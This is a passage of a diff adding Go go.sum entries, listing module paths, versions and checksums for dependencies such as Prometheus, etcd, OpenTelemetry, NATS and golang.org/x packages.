h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg= +github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= +github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk= +github.com/modern-go/reflect2 v1.0.3-0.20250322232337-35a7c28c31ee h1:W5t00kpgFdJifH4BDsTlE89Zl93FEloxaWZfGcifgq8= +github.com/modern-go/reflect2 v1.0.3-0.20250322232337-35a7c28c31ee/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk= +github.com/monochromegane/go-gitignore v0.0.0-20200626010858-205db1a8cc00 h1:n6/2gBQ3RWajuToeY6ZtZTIKv2v7ThUy5KKusIT0yc0= +github.com/monochromegane/go-gitignore v0.0.0-20200626010858-205db1a8cc00/go.mod h1:Pm3mSP3c5uWn86xMLZ5Sa7JB9GsEZySvHYXCTK4E9q4= +github.com/montanaflynn/stats v0.0.0-20171201202039-1bf9dbcd8cbe/go.mod h1:wL8QJuTMNUDYhXwkmfOly8iTdp5TEcJFWZD2D7SIkUc= +github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 h1:C3w9PqII01/Oq1c1nUAm88MOHcQC9l5mIlSMApZMrHA= +github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822/go.mod h1:+n7T8mK8HuQTcFwEeznm/DIxMOiR9yIdICNftLE1DvQ= +github.com/nats-io/nats.go v1.48.0 h1:pSFyXApG+yWU/TgbKCjmm5K4wrHu86231/w84qRVR+U= +github.com/nats-io/nats.go v1.48.0/go.mod h1:iRWIPokVIFbVijxuMQq4y9ttaBTMe0SFdlZfMDd+33g= +github.com/nats-io/nkeys v0.4.11 h1:q44qGV008kYd9W1b1nEBkNzvnWxtRSQ7A8BoqRrcfa0= +github.com/nats-io/nkeys v0.4.11/go.mod h1:szDimtgmfOi9n25JpfIdGw12tZFYXqhGxjhVxsatHVE= +github.com/nats-io/nuid v1.0.1 h1:5iA8DT8V7q8WK2EScv2padNa/rTESc1KdnPw4TC2paw= +github.com/nats-io/nuid v1.0.1/go.mod h1:19wcPz3Ph3q0Jbyiqsd0kePYG7A95tJPxeL+1OSON2c= +github.com/nxadm/tail v1.4.8 h1:nPr65rt6Y5JFSKQO7qToXr7pePgD6Gwiw05lkbyAQTE= +github.com/nxadm/tail v1.4.8/go.mod h1:+ncqLTQzXmGhMZNUePPaPqPvBxHAIsmXswZKocGu+AU= +github.com/onsi/ginkgo v1.16.5 h1:8xi0RTUf59SOSfEtZMvwTvXYMzG4gV23XVHOZiXNtnE= +github.com/onsi/ginkgo v1.16.5/go.mod h1:+E8gABHa3K6zRBolWtd+ROzc/U5bkGt0FwiG042wbpU= +github.com/onsi/ginkgo/v2 v2.27.2 h1:LzwLj0b89qtIy6SSASkzlNvX6WktqurSHwkk2ipF/Ns= +github.com/onsi/ginkgo/v2 v2.27.2/go.mod h1:ArE1D/XhNXBXCBkKOLkbsb2c81dQHCRcF5zwn/ykDRo= +github.com/onsi/gomega v1.38.3 h1:eTX+W6dobAYfFeGC2PV6RwXRu/MyT+cQguijutvkpSM= +github.com/onsi/gomega v1.38.3/go.mod h1:ZCU1pkQcXDO5Sl9/VVEGlDyp+zm0m1cmeG5TOzLgdh4= +github.com/paulmach/orb v0.12.0 h1:z+zOwjmG3MyEEqzv92UN49Lg1JFYx0L9GpGKNVDKk1s= +github.com/paulmach/orb v0.12.0/go.mod h1:5mULz1xQfs3bmQm63QEJA6lNGujuRafwA5S/EnuLaLU= +github.com/paulmach/protoscan v0.2.1/go.mod h1:SpcSwydNLrxUGSDvXvO0P7g7AuhJ7lcKfDlhJCDw2gY= +github.com/peterbourgon/diskv v2.0.1+incompatible h1:UBdAOUP5p4RWqPBg048CAvpKN+vxiaj6gdUUzhl4XmI= +github.com/peterbourgon/diskv v2.0.1+incompatible/go.mod h1:uqqh8zWWbv1HBMNONnaR/tNboyR3/BZd58JJSHlUSCU= +github.com/pierrec/lz4/v4 v4.1.23 h1:oJE7T90aYBGtFNrI8+KbETnPymobAhzRrR8Mu8n1yfU= +github.com/pierrec/lz4/v4 v4.1.23/go.mod h1:EoQMVJgeeEOMsCqCzqFm2O0cJvljX2nGZjcRIPL34O4= +github.com/pierrec/lz4/v4 v4.1.25 h1:kocOqRffaIbU5djlIBr7Wh+cx82C0vtFb0fOurZHqD0= +github.com/pierrec/lz4/v4 v4.1.25/go.mod h1:EoQMVJgeeEOMsCqCzqFm2O0cJvljX2nGZjcRIPL34O4= +github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4= +github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= +github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= +github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/prometheus/client_golang v1.23.2 h1:Je96obch5RDVy3FDMndoUsjAhG5Edi49h0RJWRi/o0o= +github.com/prometheus/client_golang v1.23.2/go.mod h1:Tb1a6LWHB3/SPIzCoaDXI4I8UHKeFTEQ1YCr+0Gyqmg= +github.com/prometheus/client_model v0.6.2 h1:oBsgwpGs7iVziMvrGhE53c/GrLUsZdHnqNwqPLxwZyk= +github.com/prometheus/client_model v0.6.2/go.mod h1:y3m2F6Gdpfy6Ut/GBsUqTWZqCUvMVzSfMLjcu6wAwpE= +github.com/prometheus/common v0.66.1 h1:h5E0h5/Y8niHc5DlaLlWLArTQI7tMrsfQjHV+d9ZoGs= +github.com/prometheus/common v0.66.1/go.mod h1:gcaUsgf3KfRSwHY4dIMXLPV0K/Wg1oZ8+SbZk/HH/dA= +github.com/prometheus/procfs v0.16.1 h1:hZ15bTNuirocR6u0JZ6BAHHmwS1p8B4P6MRqxtzMyRg= +github.com/prometheus/procfs v0.16.1/go.mod h1:teAbpZRB1iIAJYREa1LsoWUXykVXA1KlTmWl8x/U+Is= +github.com/rogpeppe/go-internal v1.14.1 h1:UQB4HGPB6osV0SQTLymcB4TgvyWu6ZyliaW0tI/otEQ= +github.com/rogpeppe/go-internal v1.14.1/go.mod h1:MaRKkUm5W0goXpeCfT7UZI6fk/L7L7so1lCWt35ZSgc= +github.com/russross/blackfriday/v2 v2.1.0 h1:JIOH55/0cWyOuilr9/qlrm0BSXldqnqwMsf35Ld67mk= +github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= +github.com/segmentio/asm v1.2.1 h1:DTNbBqs57ioxAD4PrArqftgypG4/qNpXoJx8TVXxPR0= +github.com/segmentio/asm v1.2.1/go.mod h1:BqMnlJP91P8d+4ibuonYZw9mfnzI9HfxselHZr5aAcs= +github.com/segmentio/encoding v0.5.4 h1:OW1VRern8Nw6ITAtwSZ7Idrl3MXCFwXHPgqESYfvNt0= +github.com/segmentio/encoding v0.5.4/go.mod h1:HS1ZKa3kSN32ZHVZ7ZLPLXWvOVIiZtyJnO1gPH1sKt0= +github.com/sergi/go-diff v1.2.0 h1:XU+rvMAioB0UC3q1MFrIQy4Vo5/4VsRDQQXHsEya6xQ= +github.com/sergi/go-diff v1.2.0/go.mod h1:STckp+ISIX8hZLjrqAeVduY0gWCT9IjLuqbuNXdaHfM= +github.com/shopspring/decimal v1.4.0 h1:bxl37RwXBklmTi0C79JfXCEBD1cqqHt0bbgBAGFp81k= +github.com/shopspring/decimal v1.4.0/go.mod h1:gawqmDU56v4yIKSwfBSFip1HdCCXN8/+DMd9qYNcwME= +github.com/sirupsen/logrus v1.9.3 h1:dueUQJ1C2q9oE3F7wvmSGAaVtTmUizReu6fjN8uqzbQ= +github.com/sirupsen/logrus v1.9.3/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ= +github.com/soheilhy/cmux v0.1.5 h1:jjzc5WVemNEDTLwv9tlmemhC73tI08BNOIGwBOo10Js= +github.com/soheilhy/cmux v0.1.5/go.mod h1:T7TcVDs9LWfQgPlPsdngu6I6QIoyIFZDDC6sNE1GqG0= +github.com/spf13/cobra v1.10.2 h1:DMTTonx5m65Ic0GOoRY2c16WCbHxOOw6xxezuLaBpcU= +github.com/spf13/cobra v1.10.2/go.mod h1:7C1pvHqHw5A4vrJfjNwvOdzYu0Gml16OCs2GRiTUUS4= +github.com/spf13/pflag v1.0.9/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= +github.com/spf13/pflag v1.0.10 h1:4EBh2KAYBwaONj6b2Ye1GiHfwjqyROoF4RwYO+vPwFk= +github.com/spf13/pflag v1.0.10/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= +github.com/stoewer/go-strcase v1.3.0 h1:g0eASXYtp+yvN9fK8sH94oCIk0fau9uV1/ZdJ0AVEzs= +github.com/stoewer/go-strcase v1.3.0/go.mod h1:fAH5hQ5pehh+j3nZfvwdk2RgEgQjAoM8wodgtPmh1xo= +github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= +github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= +github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= +github.com/stretchr/objx v0.5.2 h1:xuMeJ0Sdp5ZMRXx/aWO6RZxdr3beISkG5/G/aIRr3pY= +github.com/stretchr/objx v0.5.2/go.mod h1:FRsXN1f5AsAjCGJKqEizvkpNtU+EGNCLh3NxZ/8L+MA= +github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= +github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= +github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= +github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= +github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= +github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= +github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U= +github.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U= +github.com/tidwall/pretty v1.0.0/go.mod h1:XNkn88O1ChpSDQmQeStsy+sBenx6DDtFZJxhVysOjyk= +github.com/tmc/grpc-websocket-proxy v0.0.0-20220101234140-673ab2c3ae75 h1:6fotK7otjonDflCTK0BCfls4SPy3NcCVb5dqqmbRknE= +github.com/tmc/grpc-websocket-proxy v0.0.0-20220101234140-673ab2c3ae75/go.mod h1:KO6IkyS8Y3j8OdNO85qEYBsRPuteD+YciPomcXdrMnk= +github.com/x448/float16 v0.8.4 h1:qLwI1I70+NjRFUR3zs1JPUCgaCXSh3SW62uAKT1mSBM= +github.com/x448/float16 v0.8.4/go.mod h1:14CWIYCyZA/cWjXOioeEpHeN/83MdbZDRQHoFcYsOfg= +github.com/xdg-go/pbkdf2 v1.0.0/go.mod h1:jrpuAogTd400dnrH08LKmI/xc1MbPOebTwRqcT5RDeI= +github.com/xdg-go/scram v1.1.1/go.mod h1:RaEWvsqvNKKvBPvcKeFjrG2cJqOkHTiyTpzz23ni57g= +github.com/xdg-go/stringprep v1.0.3/go.mod h1:W3f5j4i+9rC0kuIEJL0ky1VpHXQU3ocBgklLGvcBnW8= +github.com/xiang90/probing v0.0.0-20221125231312-a49e3df8f510 h1:S2dVYn90KE98chqDkyE9Z4N61UnQd+KOfgp5Iu53llk= +github.com/xiang90/probing v0.0.0-20221125231312-a49e3df8f510/go.mod h1:UETIi67q53MR2AWcXfiuqkDkRtnGDLqkBTpCHuJHxtU= +github.com/xlab/treeprint v1.2.0 h1:HzHnuAF1plUN2zGlAFHbSQP2qJ0ZAD3XF5XD7OesXRQ= +github.com/xlab/treeprint v1.2.0/go.mod h1:gj5Gd3gPdKtR1ikdDK6fnFLdmIS0X30kTTuNd/WEJu0= +github.com/xyproto/randomstring v1.0.5 h1:YtlWPoRdgMu3NZtP45drfy1GKoojuR7hmRcnhZqKjWU= +github.com/xyproto/randomstring v1.0.5/go.mod h1:rgmS5DeNXLivK7YprL0pY+lTuhNQW3iGxZ18UQApw/E= +github.com/yosida95/uritemplate/v3 v3.0.2 h1:Ed3Oyj9yrmi9087+NczuL5BwkIc4wvTb5zIM+UJPGz4= +github.com/yosida95/uritemplate/v3 v3.0.2/go.mod h1:ILOh0sOhIJR3+L/8afwt/kE++YT040gmv5BQTMR2HP4= +github.com/youmark/pkcs8 v0.0.0-20181117223130-1be2e3e5546d/go.mod h1:rHwXgn7JulP+udvsHwJoVG1YGAP6VLg4y9I5dyZdqmA= +github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= +github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= +go.etcd.io/bbolt v1.4.3 h1:dEadXpI6G79deX5prL3QRNP6JB8UxVkqo4UPnHaNXJo= +go.etcd.io/bbolt v1.4.3/go.mod h1:tKQlpPaYCVFctUIgFKFnAlvbmB3tpy1vkTnDWohtc0E= +go.etcd.io/etcd/api/v3 v3.6.5 h1:pMMc42276sgR1j1raO/Qv3QI9Af/AuyQUW6CBAWuntA= +go.etcd.io/etcd/api/v3 v3.6.5/go.mod h1:ob0/oWA/UQQlT1BmaEkWQzI0sJ1M0Et0mMpaABxguOQ= +go.etcd.io/etcd/client/pkg/v3 v3.6.5 h1:Duz9fAzIZFhYWgRjp/FgNq2gO1jId9Yae/rLn3RrBP8= +go.etcd.io/etcd/client/pkg/v3 v3.6.5/go.mod h1:8Wx3eGRPiy0qOFMZT/hfvdos+DjEaPxdIDiCDUv/FQk= +go.etcd.io/etcd/client/v3 v3.6.5 h1:yRwZNFBx/35VKHTcLDeO7XVLbCBFbPi+XV4OC3QJf2U= +go.etcd.io/etcd/client/v3 v3.6.5/go.mod h1:ZqwG/7TAFZ0BJ0jXRPoJjKQJtbFo/9NIY8uoFFKcCyo= +go.etcd.io/etcd/pkg/v3 v3.6.5 h1:byxWB4AqIKI4SBmquZUG1WGtvMfMaorXFoCcFbVeoxM= +go.etcd.io/etcd/pkg/v3 v3.6.5/go.mod h1:uqrXrzmMIJDEy5j00bCqhVLzR5jEJIwDp5wTlLwPGOU= +go.etcd.io/etcd/server/v3 v3.6.5 h1:4RbUb1Bd4y1WkBHmuF+cZII83JNQMuNXzyjwigQ06y0= +go.etcd.io/etcd/server/v3 v3.6.5/go.mod h1:PLuhyVXz8WWRhzXDsl3A3zv/+aK9e4A9lpQkqawIaH0= +go.etcd.io/raft/v3 v3.6.0 h1:5NtvbDVYpnfZWcIHgGRk9DyzkBIXOi8j+DDp1IcnUWQ= +go.etcd.io/raft/v3 v3.6.0/go.mod h1:nLvLevg6+xrVtHUmVaTcTz603gQPHfh7kUAwV6YpfGo= +go.mongodb.org/mongo-driver v1.11.4/go.mod h1:PTSz5yu21bkT/wXpkS7WR5f0ddqw5quethTUn9WM+2g= +go.opentelemetry.io/auto/sdk v1.2.1 h1:jXsnJ4Lmnqd11kwkBV2LgLoFMZKizbCi5fNZ/ipaZ64= +go.opentelemetry.io/auto/sdk v1.2.1/go.mod h1:KRTj+aOaElaLi+wW1kO/DZRXwkF4C5xPbEe3ZiIhN7Y= +go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.60.0 h1:x7wzEgXfnzJcHDwStJT+mxOz4etr2EcexjqhBvmoakw= +go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.60.0/go.mod h1:rg+RlpR5dKwaS95IyyZqj5Wd4E13lk/msnTS0Xl9lJM= +go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.61.0 h1:F7Jx+6hwnZ41NSFTO5q4LYDtJRXBf2PD0rNBkeB/lus= +go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.61.0/go.mod h1:UHB22Z8QsdRDrnAtX4PntOl36ajSxcdUMt1sF7Y6E7Q= +go.opentelemetry.io/otel v1.40.0 h1:oA5YeOcpRTXq6NN7frwmwFR0Cn3RhTVZvXsP4duvCms= +go.opentelemetry.io/otel v1.40.0/go.mod h1:IMb+uXZUKkMXdPddhwAHm6UfOwJyh4ct1ybIlV14J0g= +go.opentelemetry.io/otel/exporters/otlp/otlptrace v1.34.0 h1:OeNbIYk/2C15ckl7glBlOBp5+WlYsOElzTNmiPW/x60= +go.opentelemetry.io/otel/exporters/otlp/otlptrace v1.34.0/go.mod h1:7Bept48yIeqxP2OZ9/AqIpYS94h2or0aB4FypJTc8ZM= +go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracegrpc v1.34.0 h1:tgJ0uaNS4c98WRNUEx5U3aDlrDOI5Rs+1Vifcw4DJ8U= +go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracegrpc v1.34.0/go.mod h1:U7HYyW0zt/a9x5J1Kjs+r1f/d4ZHnYFclhYY2+YbeoE= +go.opentelemetry.io/otel/metric v1.40.0 h1:rcZe317KPftE2rstWIBitCdVp89A2HqjkxR3c11+p9g= +go.opentelemetry.io/otel/metric v1.40.0/go.mod h1:ib/crwQH7N3r5kfiBZQbwrTge743UDc7DTFVZrrXnqc= +go.opentelemetry.io/otel/sdk v1.40.0 h1:KHW/jUzgo6wsPh9At46+h4upjtccTmuZCFAc9OJ71f8= +go.opentelemetry.io/otel/sdk v1.40.0/go.mod h1:Ph7EFdYvxq72Y8Li9q8KebuYUr2KoeyHx0DRMKrYBUE= +go.opentelemetry.io/otel/sdk/metric v1.40.0 h1:mtmdVqgQkeRxHgRv4qhyJduP3fYJRMX4AtAlbuWdCYw= +go.opentelemetry.io/otel/sdk/metric v1.40.0/go.mod h1:4Z2bGMf0KSK3uRjlczMOeMhKU2rhUqdWNoKcYrtcBPg= +go.opentelemetry.io/otel/trace v1.40.0 h1:WA4etStDttCSYuhwvEa8OP8I5EWu24lkOzp+ZYblVjw= +go.opentelemetry.io/otel/trace v1.40.0/go.mod h1:zeAhriXecNGP/s2SEG3+Y8X9ujcJOTqQ5RgdEJcawiA= +go.opentelemetry.io/proto/otlp v1.9.0 h1:l706jCMITVouPOqEnii2fIAuO3IVGBRPV5ICjceRb/A= +go.opentelemetry.io/proto/otlp v1.9.0/go.mod h1:xE+Cx5E/eEHw+ISFkwPLwCZefwVjY+pqKg1qcK03+/4= +go.uber.org/goleak v1.3.0 h1:2K3zAYmnTNqV73imy9J1T3WC+gmCePx2hEGkimedGto= +go.uber.org/goleak v1.3.0/go.mod h1:CoHD4mav9JJNrW/WLlf7HGZPjdw8EucARQHekz1X6bE= +go.uber.org/multierr v1.11.0 h1:blXXJkSxSSfBVBlC76pxqeO+LN3aDfLQo+309xJstO0= +go.uber.org/multierr v1.11.0/go.mod h1:20+QtiLqy0Nd6FdQB9TLXag12DsQkrbs3htMFfDN80Y= +go.uber.org/zap v1.27.0 h1:aJMhYGrd5QSmlpLMr2MftRKl7t8J8PTZPA732ud/XR8= +go.uber.org/zap v1.27.0/go.mod h1:GB2qFLM7cTU87MWRP2mPIjqfIDnGu+VIO4V/SdhGo2E= +go.uber.org/zap v1.27.1 h1:08RqriUEv8+ArZRYSTXy1LeBScaMpVSTBhCeaZYfMYc= +go.uber.org/zap v1.27.1/go.mod h1:GB2qFLM7cTU87MWRP2mPIjqfIDnGu+VIO4V/SdhGo2E= +go.yaml.in/yaml/v2 v2.4.3 h1:6gvOSjQoTB3vt1l+CU+tSyi/HOjfOjRLJ4YwYZGwRO0= +go.yaml.in/yaml/v2 v2.4.3/go.mod h1:zSxWcmIDjOzPXpjlTTbAsKokqkDNAVtZO0WOMiT90s8= +go.yaml.in/yaml/v3 v3.0.4 h1:tfq32ie2Jv2UxXFdLJdh3jXuOzWiL1fo0bu/FbuKpbc= +go.yaml.in/yaml/v3 v3.0.4/go.mod h1:DhzuOOF2ATzADvBadXxruRBLzYTpT36CKvDb3+aBEFg= +golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= +golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= +golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= +golang.org/x/crypto v0.0.0-20220622213112-05595931fe9d/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4= +golang.org/x/crypto v0.47.0 h1:V6e3FRj+n4dbpw86FJ8Fv7XVOql7TEwpHapKoMJ/GO8= +golang.org/x/crypto v0.47.0/go.mod h1:ff3Y9VzzKbwSSEzWqJsJVBnWmRwRSHt/6Op5n9bQc4A= +golang.org/x/exp v0.0.0-20240719175910-8a7402abbf56 h1:2dVuKD2vS7b0QIHQbpyTISPd0LeHDbnYEryqj5Q1ug8= +golang.org/x/exp v0.0.0-20240719175910-8a7402abbf56/go.mod h1:M4RDyNAINzryxdtnbRXRL/OHtkFuWGRjvuhBJpk2IlY= +golang.org/x/exp v0.0.0-20240823005443-9b4947da3948 h1:kx6Ds3MlpiUHKj7syVnbp57++8WpuKPcR5yjLBjvLEA= +golang.org/x/exp v0.0.0-20240823005443-9b4947da3948/go.mod h1:akd2r19cwCdwSwWeIdzYQGa/EZZyqcOdwWiwj5L5eKQ= +golang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= +golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= +golang.org/x/mod v0.32.0 h1:9F4d3PHLljb6x//jOyokMv3eX+YDeepZSEo3mFJy93c= +golang.org/x/mod v0.32.0/go.mod h1:SgipZ/3h2Ci89DlEtEXWUk/HteuRin+HHhN+WbNhguU= +golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= +golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20200226121028-0de0cce0169b/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= +golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= +golang.org/x/net v0.49.0 h1:eeHFmOGUTtaaPSGNmjBKpbng9MulQsJURQUAfUwY++o= +golang.org/x/net v0.49.0/go.mod h1:/ysNB2EvaqvesRkuLAyjI1ycPZlQHM3q01F02UY/MV8= +golang.org/x/oauth2 v0.34.0 h1:hqK/t4AKgbqWkdkcAeI8XLmbK+4m4G5YeQRrmiotGlw= +golang.org/x/oauth2 v0.34.0/go.mod h1:lzm5WQJQwKZ3nwavOZ3IS5Aulzxi68dUSgRHujetwEA= +golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.19.0 h1:vV+1eWNmZ5geRlYjzm2adRgW2/mcpevXNg50YZtPCE4= +golang.org/x/sync v0.19.0/go.mod h1:9KTHXmSnoGruLpwFjVSX0lNNA75CykiMECbovNTZqGI= +golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20210616094352-59db8d763f22/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.40.0 h1:DBZZqJ2Rkml6QMQsZywtnjnnGvHza6BTfYFWY9kjEWQ= +golang.org/x/sys v0.40.0/go.mod h1:OgkHotnGiDImocRcuBABYBEXf8A9a87e/uXjp9XT3ks= +golang.org/x/sys v0.42.0 h1:omrd2nAlyT5ESRdCLYdm3+fMfNFE/+Rf4bDIQImRJeo= +golang.org/x/sys v0.42.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw= +golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= +golang.org/x/term v0.39.0 h1:RclSuaJf32jOqZz74CkPA9qFuVTX7vhLlpfj/IGWlqY= +golang.org/x/term v0.39.0/go.mod h1:yxzUCTP/U+FzoxfdKmLaA0RV1WgE0VY7hXBwKtY/4ww= +golang.org/x/term v0.41.0 h1:QCgPso/Q3RTJx2Th4bDLqML4W6iJiaXFq2/ftQF13YU= +golang.org/x/term v0.41.0/go.mod h1:3pfBgksrReYfZ5lvYM0kSO0LIkAl4Yl2bXOkKP7Ec2A= +golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= +golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= +golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= +golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= +golang.org/x/text v0.33.0 h1:B3njUFyqtHDUI5jMn1YIr5B0IE2U0qck04r6d4KPAxE= +golang.org/x/text v0.33.0/go.mod h1:LuMebE6+rBincTi9+xWTY8TztLzKHc/9C1uBCG27+q8= +golang.org/x/time v0.9.0 h1:EsRrnYcQiGH+5FfbgvV4AP7qEZstoyrHB0DzarOQ4ZY= +golang.org/x/time v0.9.0/go.mod h1:3BpzKBy/shNhVucY/MWOyx10tF3SFh9QdLuxbVysPQM= +golang.org/x/time v0.15.0 h1:bbrp8t3bGUeFOx08pvsMYRTCVSMk89u4tKbNOZbp88U= +golang.org/x/time v0.15.0/go.mod h1:Y4YMaQmXwGQZoFaVFk4YpCt4FLQMYKZe9oeV/f4MSno= +golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= +golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20200619180055-7c47624df98f/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= +golang.org/x/tools v0.0.0-20210106214847-113979e3529a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= +golang.org/x/tools v0.41.0 